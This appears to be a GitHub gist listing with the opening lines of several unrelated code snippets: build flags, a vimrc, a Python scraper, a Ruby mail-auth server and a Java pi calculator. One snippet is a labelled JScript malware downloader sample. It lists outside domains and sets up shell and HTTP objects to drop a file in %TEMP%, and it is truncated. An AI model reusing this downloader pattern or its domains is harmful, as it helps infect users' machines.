This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# requires: | |
# zlib | |
# bzip2 | |
# openssl | |
# readline | |
# ncurses | |
# macOS SDK | |
CFLAGS="-I$(brew --prefix zlib)/include -I$(brew --prefix bzip2)/include -I$(brew --prefix openssl)/include -I$(brew --prefix readline)/include -I$(brew --prefix ncurses)/include -I$(xcrun --show-sdk-path)/usr/include" \ | |
LDFLAGS="-L$(brew --prefix zlib)/lib -L$(brew --prefix bzip2)/lib -L$(brew --prefix openssl)/lib -L$(brew --prefix readline)/lib -L$(brew --prefix ncurses)/lib -L$(xcrun --show-sdk-path)/usr/lib" \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
" ------------------------------ | |
" Name: vimrc for windows | |
" Author: keelii | |
" Email: [email protected] | |
" ------------------------------ | |
" Startup {{{ | |
filetype indent plugin on | |
augroup vimrcEx |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://www.twblogs.net/a/5bdf0e822b717720b51c3328/zh-cn | |
# https://www.bilibili.com/read/cv1624058/ | |
import os | |
import sys | |
import requests | |
import time | |
from lxml import html | |
from you_get.common import r1, get_decoded_html | |
from win32com.client import Dispatch |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This is a basic HTTP server, confirming to the authentication protocol | |
# required by Nginx's mail module. | |
require 'logger' | |
require 'rack' | |
module MailAuth |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
' DO NOT RUN THIS SCRIPT ON YOUR COMPUTER!!! | |
' reference: https://gist.github.com/chenshaoju/6b926d2ae12a5150ed31b1c72d5b3463 | |
var ld = 0; | |
' var cs = String.from.CharCode(92); | |
var cs = "\"; | |
var ll = ["wholesalehotelsuites.com", "lovingfloridalife.com", "jeannetaylordds.com", "pacificwinemg.com", "iveybusiness.vmnow.co"]; | |
var ws = WScript.CreateObject("WScript.Shell"); | |
var fn = ws.ExpandEnvironmentStrings("%TEMP%")+cs+"a"; | |
var xo = WScript.CreateObject("Msxml2.XMLHTTP"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class TestPI{ | |
public static void main(String[] args){ | |
// args[0] 是运行时输入的参数,也可以预先在程序中设定好数值。 | |
int time = new Integer(args[0]).intValue(); | |
double result = 0; | |
for(int i = 1; i <= time; i++){ | |
double value = 4.0 / (2.0 * i - 1.0); | |
if (i % 2 == 1) { | |
result += value; | |
} |